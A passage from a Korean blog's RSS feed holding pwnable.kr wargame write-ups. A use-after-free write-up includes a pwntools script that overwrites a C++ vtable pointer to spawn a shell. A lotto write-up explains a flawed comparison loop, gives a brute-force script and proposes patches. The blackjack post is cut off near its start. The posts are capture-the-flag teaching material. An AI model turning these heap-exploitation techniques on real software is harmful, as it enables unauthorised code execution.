&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boKKgs/btrx068uwy8/zlzKAFFJDxnCS4ABBFxY6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boKKgs/btrx068uwy8/zlzKAFFJDxnCS4ABBFxY6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boKKgs/btrx068uwy8/zlzKAFFJDxnCS4ABBFxY6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboKKgs%2Fbtrx068uwy8%2FzlzKAFFJDxnCS4ABBFxY6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;573&quot; height=&quot;157&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;157&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 우리는 rax참조값을 바꿔 vtable에서 give_shell( )을 호출하는 방식으로 문제를 풀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 +0x8을 해서 참조하므로, give_shell을 불러올려면 give_shell( )주소에서 0x8 뺀 값으로 rax를 바꾸면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;시나리오를 만들어보자면, 아래와 같다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 80px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 80px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 80px;&quot;&gt;할당되어 있는 m과 w 메모리를 해제하고, 해제한 메모리와 같은 크기를 할당한다. &lt;br /&gt;이는 같은 크기이기 때문에, m과 w가 가르키고 있는 공간을 할당하게 된다.&lt;br /&gt;새로 할당받은 공간을 악의적인 값으로 변경하고 메모리부분을 실행시키면, 해제했던 메모리를 재사용하게 된다.&lt;br /&gt;이는 uaf취약점이 발생한 것으로, 접근이 불가능한 부분에 접근하여 shell을 획득할 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;시나리오를 바탕으로, 우리는 uaf 취약점을 활용해서 아래 순서대로 문제를 clear 할 수 있다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;① 메뉴 1번을 눌러서, 동적할당한 m과 w가 introduce( )함수의 주소값을 갖게 한다.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;② 메뉴 3번을 눌러서, m과 w 메모리를 해제한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;③ 메뉴 2번을 눌러서, 위에서 해제했던 메모리와 같은 크기를 동적할당하고, 값은 give_shell주소값으로 바꿔준다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ( 0x401570-0x8 = 0x401568 )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;④ 메뉴 1번을 눌러서, 2번에서 해제했던 메모리를 재사용함으로써 uaf가 발생하는 취약점이다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;위 순서대로 실행하면, shell을 획득하여 flag를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjKbkx/btrythHu4mt/22BXV8gagMkkxkN5Eye0R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjKbkx/btrythHu4mt/22BXV8gagMkkxkN5Eye0R1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjKbkx/btrythHu4mt/22BXV8gagMkkxkN5Eye0R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjKbkx%2FbtrythHu4mt%2F22BXV8gagMkkxkN5Eye0R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;858&quot; height=&quot;811&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;5. Exploit Code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1648755683960&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

argvs=[b&quot;./uaf&quot;,&quot;4&quot;,&quot;/tmp/d0bbyG/attack&quot;]
p = ssh(user = b&quot;uaf&quot;, host = b&quot;pwnable.kr&quot;, password = b&quot;guest&quot;, port = 2222)
p1 = p.process(argv=argvs)

def PRINT():
    ans = p1.recvuntil(b&quot;3. free&quot;)
    print(ans)

def USE():
    p1.sendline(&quot;1&quot;)

def AFTER():
    p1.sendline(&quot;2&quot;) 
    PRINT()

def FREE():
    p1.sendline(&quot;3&quot;)
    PRINT()

PRINT()
USE()
PRINT()
FREE()
AFTER()
AFTER()
USE()
p1.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;653&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qiRI6/btrx8MCKwrK/KDfX4tAkJmSs3EV1Sxo2w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qiRI6/btrx8MCKwrK/KDfX4tAkJmSs3EV1Sxo2w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qiRI6/btrx8MCKwrK/KDfX4tAkJmSs3EV1Sxo2w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqiRI6%2Fbtrx8MCKwrK%2FKDfX4tAkJmSs3EV1Sxo2w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1456&quot; height=&quot;653&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;653&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>C++ 동적할당</category>
      <category>C++ 시큐어코딩</category>
      <category>pwn uaf</category>
      <category>pwnable.kr uaf</category>
      <category>pwnable.kr uaf풀이</category>
      <category>UAF</category>
      <category>uaf writeup</category>
      <category>uaf 풀이</category>
      <category>uaf취약점</category>
      <category>동적할당</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/565</guid>
      <comments>https://power-girl0-0.tistory.com/565#entry565comment</comments>
      <pubDate>Mon, 21 Mar 2022 01:47:36 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] lotto 풀이</title>
      <link>https://power-girl0-0.tistory.com/564</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;어서 오세요~~ (@^0^@)/&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;1. 문제&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;SSH로 접속해서, 확인해보면 lotto 실행파일과 C 코드가 존재한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;해당 문제는 lotto게임 컨셉으로, 사용자가 입력한 값 6개와 랜덤 한 값 6개가 맞을 때 flag를 출력해준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;2. 코드&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1647523658908&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

unsigned char submit[6];

void play(){

        int i;
        printf(&quot;Submit your 6 lotto bytes : &quot;);
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf(&quot;Lotto Start!\n&quot;);
        //sleep(1);

        // generate lotto numbers
        int fd = open(&quot;/dev/urandom&quot;, O_RDONLY);
        if(fd==-1){
                printf(&quot;error. tell admin\n&quot;);
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf(&quot;error2. tell admin\n&quot;);
                exit(-1);
        }
        for(i=0; i&amp;lt;6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i&amp;lt;6; i++){
                for(j=0; j&amp;lt;6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system(&quot;/bin/cat flag&quot;);
        }
        else{
                printf(&quot;bad luck...\n&quot;);
        }

}

void help(){
        printf(&quot;- nLotto Rule -\n&quot;);
        printf(&quot;nlotto is consisted with 6 random natural numbers less than 46\n&quot;);
        printf(&quot;your goal is to match lotto numbers as many as you can\n&quot;);
        printf(&quot;if you win lottery for *1st place*, you will get reward\n&quot;);
        printf(&quot;for more details, follow the link below\n&quot;);
        printf(&quot;http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n&quot;);
        printf(&quot;mathematical chance to win this game is known to be 1/8145060.\n&quot;);
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf(&quot;- Select Menu -\n&quot;);
                printf(&quot;1. Play Lotto\n&quot;);
                printf(&quot;2. Help\n&quot;);
                printf(&quot;3. Exit\n&quot;);

                scanf(&quot;%d&quot;, &amp;amp;menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf(&quot;bye\n&quot;);
                                return 0;
                        default:
                                printf(&quot;invalid menu\n&quot;);
                                break;
                }
        }
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;3. 코드 분석&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;코드를 살펴보면 랜덤값과 입력값을 비교해서 6글자가 맞으면, flag를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;랜덤 값을 알 수 없기 때문에 urandom함수를 제외 후 남은 코드를 살펴보았다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1647525271660&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int match = 0, j = 0;
for(i=0; i&amp;lt;6; i++){
    for(j=0; j&amp;lt;6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

// win!
if(match == 6){
    system(&quot;/bin/cat flag&quot;);
}
else{
    printf(&quot;bad luck...\n&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;match값이 6이 되면, flag를 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;그전에, 이중 for문 부분에서 문제점을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-family: 'Nanum Gothic';&quot;&gt;' lotto[i] == submit[j] ' 조건에 맞으면 match의 값이 +1이 되는데, 이후에 for문이 끝나지 않고 6번 반복하게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7; font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;즉, 랜덤한 값이 lotto의 한 글자만 맞아도 match값을 6으로 만들 수 있다는 의미이다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;한 가지 더 유의할 것은 입력받아온 값과 랜덤 값이 저장된 배열의 자료형이 char라는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7; font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;즉, 랜덤한 값의 범위인 1~45를 char로 변형시켜 입력해야 하는 것이다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;4. 풀이&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;코드 분석을 통해, flag를 구하기 위해서 2가지 조건을 정리할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 1. 입력값은 랜덤한 값의 범위인 1 ~ 45를 char자료형으로 입력해야한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; 2. 입력값은 char자료형으로 해야하며, 6글자가 다 똑같아야 한다.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -&amp;gt; 두번째 for문에서 i는 그대로지만 j는 값이 바뀌기 때문에, if조건문의 True가 되려면 입력하는 6글자가 똑같아야 한다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;조건 1을 만족시키기 위해, python을 이용해서 1~45를 char자료형으로 바꿔보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;이미지 001.png&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;967&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkMx1e/btrwhc3fJfE/VekRAoSCsNfEnZi2nWoqkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkMx1e/btrwhc3fJfE/VekRAoSCsNfEnZi2nWoqkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkMx1e/btrwhc3fJfE/VekRAoSCsNfEnZi2nWoqkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkMx1e%2Fbtrwhc3fJfE%2FVekRAoSCsNfEnZi2nWoqkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;412&quot; height=&quot;967&quot; data-filename=&quot;이미지 001.png&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;967&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;가장 첫번째에 있는 !를 입력해서, 풀어보자!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;언제 랜덤값으로 33이 나올지 모르니, flag가 출력될 때까지 !(느낌표) 6개를 입력해보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;이미지 002.png&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;555&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1YcAj/btrwjo9HDL6/JmJIhVhsEs5k17ak1uFVBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1YcAj/btrwjo9HDL6/JmJIhVhsEs5k17ak1uFVBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1YcAj/btrwjo9HDL6/JmJIhVhsEs5k17ak1uFVBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1YcAj%2Fbtrwjo9HDL6%2FJmJIhVhsEs5k17ak1uFVBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1005&quot; height=&quot;555&quot; data-filename=&quot;이미지 002.png&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;555&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;그 결과,&amp;nbsp; flag를 얻을 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;5. pwntools를 이용해서, flag획득&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1647527042219&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

PORT = 2222
USER = &quot;lotto&quot;
HOST = &quot;pwnable.kr&quot;
PASSWD = &quot;guest&quot;

p = ssh(user = USER, host=HOST, password=PASSWD, port = PORT)
p1 = p.process(&quot;./lotto&quot;)
print (p1.recv())
num = 0

while True:
    sleep(2)
    num+=1
    print(&quot;\n==[&quot;, num,&quot;]=============&quot; )

    p1.sendline(&quot;1&quot;)
    print (p1.recv())
    p1.sendline(&quot;!!!!!!&quot;)
    p1.recvuntil(&quot;Lotto Start!\n&quot;)
    ans = p1.recvline()
    print(ans)

    if b'bad luck' not in ans :
        break&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;이미지 12.png&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;843&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj3fu0/btrwjnQuY88/sFgZwG81ElkigUHlyM1aX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj3fu0/btrwjnQuY88/sFgZwG81ElkigUHlyM1aX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj3fu0/btrwjnQuY88/sFgZwG81ElkigUHlyM1aX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj3fu0%2FbtrwjnQuY88%2FsFgZwG81ElkigUHlyM1aX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1164&quot; height=&quot;843&quot; data-filename=&quot;이미지 12.png&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;843&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;6. 보안패치&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;두가지 방식으로 생각해보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;① &lt;/b&gt;&lt;b&gt;랜덤값과 입력값의 6글자가 값만 똑같으면 되는 경우&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;: 이중 for문을 하지 않아도 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1647527500029&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int match = 0;
for(i=0; i&amp;lt;6; i++){
    if(lotto[i] == submit[i]){
        match++;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;② 랜덤값과 입력값의 6글자가 값과 위치가 똑같아야 하는 경우&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;: break를 넣어줘야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1647527456421&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int match = 0, j = 0;
for(i=0; i&amp;lt;6; i++){
    for(j=0; j&amp;lt;6; j++){
        if(lotto[i] == submit[j]){
            match++;
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;안녕히가십쇼! ^^7&lt;/span&gt;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>Lotto</category>
      <category>lotto writeup</category>
      <category>lotto 풀이</category>
      <category>pwnable lotto</category>
      <category>pwnable lotto writeup</category>
      <category>pwnable lotto 풀이</category>
      <category>pwnable.kr lotto</category>
      <category>pwnable.kr lotto writeup</category>
      <category>pwnable.kr lotto 풀이</category>
      <category>이중 for문</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/564</guid>
      <comments>https://power-girl0-0.tistory.com/564#entry564comment</comments>
      <pubDate>Thu, 17 Mar 2022 23:36:15 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] blackjack 풀이</title>
      <link>https://power-girl0-0.tistory.com/561</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;안녕하세요~~ (ﾉ◕ヮ◕)ﾉ*:･ﾟ✧&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;&lt;b&gt;1. 문제&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;문제에는 nc접속 주소와 blackjack게임의 소스코드가 존재하는 웹주소가 주어진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;( &lt;a href=&quot;https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html&quot;&gt;https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html&lt;/a&gt;&amp;nbsp;)&lt;/span&gt;&lt;/p&gt;
